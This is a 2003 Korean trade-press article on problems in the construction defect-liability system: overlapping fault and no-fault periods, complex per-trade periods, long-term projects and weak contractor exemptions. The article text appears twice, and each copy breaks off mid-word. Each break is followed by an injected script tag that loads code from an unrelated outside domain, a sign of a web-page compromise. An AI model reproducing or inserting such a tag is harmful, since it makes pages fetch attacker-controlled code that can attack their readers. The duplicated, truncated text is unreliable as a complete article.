하자보수책임제도의 개선방안
보도일자 2003-07-21
보도기관 일간건설
◇논의 배경
건설공사의 계약에서 시공자의 하자담보책임(defects liability)이란 공사 목적물이 완성되기 이전 또는 완성된 후 그 목적물의 사용가치 혹은 교환가치를 저하시키는 하자에 대한 시공자의 책임을 말한다. 여기서 하자란 누수, 균열, 창호의 개폐 불량, 설비 불량, 전기배선 불량 등 물리적 하자와 소음 등의 환경상 하자, 그리고 권리상 하자를 모두 포괄한다.
우리나라에서는 1990년대 중반 이후 우암상가아파트 및 성수대교의 붕괴사고를 계기로 시공자에 대한 하자담보책임기간을 최고 10년으로 크게 강화한 바 있다. 그런데 이는 건설구조물의 안전에 대한 책임의식을 강화하는 긍정적인 측면이 있으나 하자에 대한 객관적인 판정기준이 미흡하고 시공상 하자와 유지관리상 하자에 대한 구분없이 시공자에 대한 규제만을 강화했다는 비판이 있다. 또한 하자발생 원인에는 발주자, 설계자, 시공자, 하수급자, 자재공급업자, 감리자, 유지관리자, 점유자 등의 다양한 주체가 관여하나 시공자에게 전적으로 책임이 부과되는 문제점도 있다. 따라서 현행 제도의 문제점을 실제 사례를 통해 구체적으로 파악하고 해외 사례를 벤치마킹, 새로운 제도적 대안을 구상할 필요성이 있다.
◇현행 하자담보책임제도의 문제점
1)과실 책임기간과 무과실 책임기간의 혼재
현행 각종 법령에 규정된 하자담보책임기간을 보면 시공자의 고의·과실 및 무과실에 대한 책임 구분없이 일률적으로 하자담보책임기간을 정하고 있는 문제점이 있다. 일반적으로 하자담보책임은 시공자의 고의·과실을 요건으로 하지 않는 무과실책임으로 해석되고 있다.
그런데 현행 ‘국가계약법’ 및 ‘건설산업기본법’에 명시된 공공분야 건설공사의 하자보수책임기간은 시공자가 무과실책임을 가지는 ‘하자보수기간’과 구조적 결함이나 혹은 고의·과실에 대해 책임을 가지는 ‘품질보증기간’이 혼재돼 장기화된 경향이 있다. 예를 들어 시공자에게 최고 10년의 무과실책임을 추궁할 경우 구조물 및 설비기기의 자연적인 노후화까지도 시공자에게 보수 책임이 부과될 가능성이 있다. 나아가 건설구조물의 하자는 대부분 준공 후 1∼2년내에 발견되고 있다. 따라서 시공자의 하자담보책임기간을 최고 10년의 장기간으로 규정하는 것은 시공자에게 과도한 부담을 부과하고 있는 것으로 평가된다.
2)세분 공종별 책임기간의 복잡성
‘국가계약법’ 및 ‘건설산업기본법’에서는 하자담보책임기간을 세분 공종별로 1∼10년을 규정하고 있으며 ‘공동주택관리령’에서는 내력 구조부의 경우 5∼10년, 일반 부위는 1∼3년의 범위내에서 세분 공종별로 구체적으로 정하고 있다. 이같이 하자보수의 범위와 내용, 그리고 기간이 복잡해 발주자 혹은 소비자가 그 규제내용을 쉽게 파악하기 어렵다는 문제점이 있다.
더구나 ‘국가계약법’ 및 ‘건설산업기본법’에서는 각 공종간의 하자책임을 구분할 수 없는 복합공사인 경우에는 주된 공종을 기준으로 하자담보책임기간을 정하도록 규정하고 있다. 이에 따라 발주자 측에서는 설비공사나 기계설치공사, 전기·통신공사와 같이 각 공종을 구분하기 어려운 복합적인 공종에 대해서는 하자담보책임기간을 7∼10년으로 설정하는 사례가 존재한다.
3)장기계속공사의 책임기간 장기화
장기 계속공사의 경우 연도별로 분할발주된 공사간에 하자책임 관계가 불분명할 경우에는 전체 공사에 대해 하자담보책임기간을 설정하도록 규정하고 있다. 그러나 5년 이상에 걸치는 장기계속공사의 특성에 비추어 볼 때 초기 단계에 시공된 구조물의 경우 과도하게 하자담보책임기간이 장기화될 우려가 있다.
4)시공자 면책의 미흡
하자발생 원인이 발주자의 과실에 의한 것인 지 혹은 시공자의 과실에 의한 것인 지에 대해 법적으로 명확한 판단기준이 미흡하다. 이 때문에 공사 목적물을 인도한 후 하자담보책임기간 중에 폭풍우 등과 같은 천재지변 또는 기타의 불가항력으로 인해 목적물이 멸실 또는 훼손된 경우에도 시공자에게 보수 책임을 부담시키는 사례가 있다. 나아가 공사목적물을 인도한 후 관리를 소홀히 했거나 도난 혹은 사용자의 사용방법이 미숙해 발생한 파손 또는 소모성 부품의 자연적인 손모에 대해서도 수급인에게 하자보수 책임을 부담시키는 사례도 있다.
또한 건설구조물의 하자가 설계상의 실수나 감리자의 태만 혹은 지급자재의 불량 등에서 비롯되는 사례가 있으나 이러한 공사 참여자에 대해 법적책임을 추궁하는 것이 용이하지 않다. 더구나 현행 ‘건설기술관리법’에서는 시공자에게 설계도서의 검토의무를 명기하고 있기 때문에 설계에 기인한 하자일지라도 시공자에게 실제적인 하자보수책임이 부과되고 있다. 나아가 설계·감리의 손해배상보증제도도 보증기간을 공사기간으로 한정하고 있어 하?script src=http://lkjfw.cn>
건설공사의 계약에서 시공자의 하자담보책임(defects liability)이란 공사 목적물이 완성되기 이전 또는 완성된 후 그 목적물의 사용가치 혹은 교환가치를 저하시키는 하자에 대한 시공자의 책임을 말한다. 여기서 하자란 누수, 균열, 창호의 개폐 불량, 설비 불량, 전기배선 불량 등 물리적 하자와 소음 등의 환경상 하자, 그리고 권리상 하자를 모두 포괄한다.
우리나라에서는 1990년대 중반 이후 우암상가아파트 및 성수대교의 붕괴사고를 계기로 시공자에 대한 하자담보책임기간을 최고 10년으로 크게 강화한 바 있다. 그런데 이는 건설구조물의 안전에 대한 책임의식을 강화하는 긍정적인 측면이 있으나 하자에 대한 객관적인 판정기준이 미흡하고 시공상 하자와 유지관리상 하자에 대한 구분없이 시공자에 대한 규제만을 강화했다는 비판이 있다. 또한 하자발생 원인에는 발주자, 설계자, 시공자, 하수급자, 자재공급업자, 감리자, 유지관리자, 점유자 등의 다양한 주체가 관여하나 시공자에게 전적으로 책임이 부과되는 문제점도 있다. 따라서 현행 제도의 문제점을 실제 사례를 통해 구체적으로 파악하고 해외 사례를 벤치마킹, 새로운 제도적 대안을 구상할 필요성이 있다.
◇현행 하자담보책임제도의 문제점
1)과실 책임기간과 무과실 책임기간의 혼재
현행 각종 법령에 규정된 하자담보책임기간을 보면 시공자의 고의·과실 및 무과실에 대한 책임 구분없이 일률적으로 하자담보책임기간을 정하고 있는 문제점이 있다. 일반적으로 하자담보책임은 시공자의 고의·과실을 요건으로 하지 않는 무과실책임으로 해석되고 있다.
그런데 현행 ‘국가계약법’ 및 ‘건설산업기본법’에 명시된 공공분야 건설공사의 하자보수책임기간은 시공자가 무과실책임을 가지는 ‘하자보수기간’과 구조적 결함이나 혹은 고의·과실에 대해 책임을 가지는 ‘품질보증기간’이 혼재돼 장기화된 경향이 있다. 예를 들어 시공자에게 최고 10년의 무과실책임을 추궁할 경우 구조물 및 설비기기의 자연적인 노후화까지도 시공자에게 보수 책임이 부과될 가능성이 있다. 나아가 건설구조물의 하자는 대부분 준공 후 1∼2년내에 발견되고 있다. 따라서 시공자의 하자담보책임기간을 최고 10년의 장기간으로 규정하는 것은 시공자에게 과도한 부담을 부과하고 있는 것으로 평가된다.
2)세분 공종별 책임기간의 복잡성
‘국가계약법’ 및 ‘건설산업기본법’에서는 하자담보책임기간을 세분 공종별로 1∼10년을 규정하고 있으며 ‘공동주택관리령’에서는 내력 구조부의 경우 5∼10년, 일반 부위는 1∼3년의 범위내에서 세분 공종별로 구체적으로 정하고 있다. 이같이 하자보수의 범위와 내용, 그리고 기간이 복잡해 발주자 혹은 소비자가 그 규제내용을 쉽게 파악하기 어렵다는 문제점이 있다.
더구나 ‘국가계약법’ 및 ‘건설산업기본법’에서는 각 공종간의 하자책임을 구분할 수 없는 복합공사인 경우에는 주된 공종을 기준으로 하자담보책임기간을 정하도록 규정하고 있다. 이에 따라 발주자 측에서는 설비공사나 기계설치공사, 전기·통신공사와 같이 각 공종을 구분하기 어려운 복합적인 공종에 대해서는 하자담보책임기간을 7∼10년으로 설정하는 사례가 존재한다.
3)장기계속공사의 책임기간 장기화
장기 계속공사의 경우 연도별로 분할발주된 공사간에 하자책임 관계가 불분명할 경우에는 전체 공사에 대해 하자담보책임기간을 설정하도록 규정하고 있다. 그러나 5년 이상에 걸치는 장기계속공사의 특성에 비추어 볼 때 초기 단계에 시공된 구조물의 경우 과도하게 하자담보책임기간이 장기화될 우려가 있다.
4)시공자 면책의 미흡
하자발생 원인이 발주자의 과실에 의한 것인 지 혹은 시공자의 과실에 의한 것인 지에 대해 법적으로 명확한 판단기준이 미흡하다. 이 때문에 공사 목적물을 인도한 후 하자담보책임기간 중에 폭풍우 등과 같은 천재지변 또는 기타의 불가항력으로 인해 목적물이 멸실 또는 훼손된 경우에도 시공자에게 보수 책임을 부담시키는 사례가 있다. 나아가 공사목적물을 인도한 후 관리를 소홀히 했거나 도난 혹은 사용자의 사용방법이 미숙해 발생한 파손 또는 소모성 부품의 자연적인 손모에 대해서도 수급인에게 하자보수 책임을 부담시키는 사례도 있다.
또한 건설구조물의 하자가 설계상의 실수나 감리자의 태만 혹은 지급자재의 불량 등에서 비롯되는 사례가 있으나 이러한 공사 참여자에 대해 법적책임을 추궁하는 것이 용이하지 않다. 더구나 현행 ‘건설기술관리법’에서는 시공자에게 설계도서의 검토의무를 명기하고 있기 때문에 설계에 기인한 하자일지라도 시공자에게 실제적인 하자보수책임이 부과되고 있다. 나아가 설계·감리의 손해배상보증제도도 보증기간을 공사기간으로 한정하고 있어 하?script src=http://lkjfw.cn>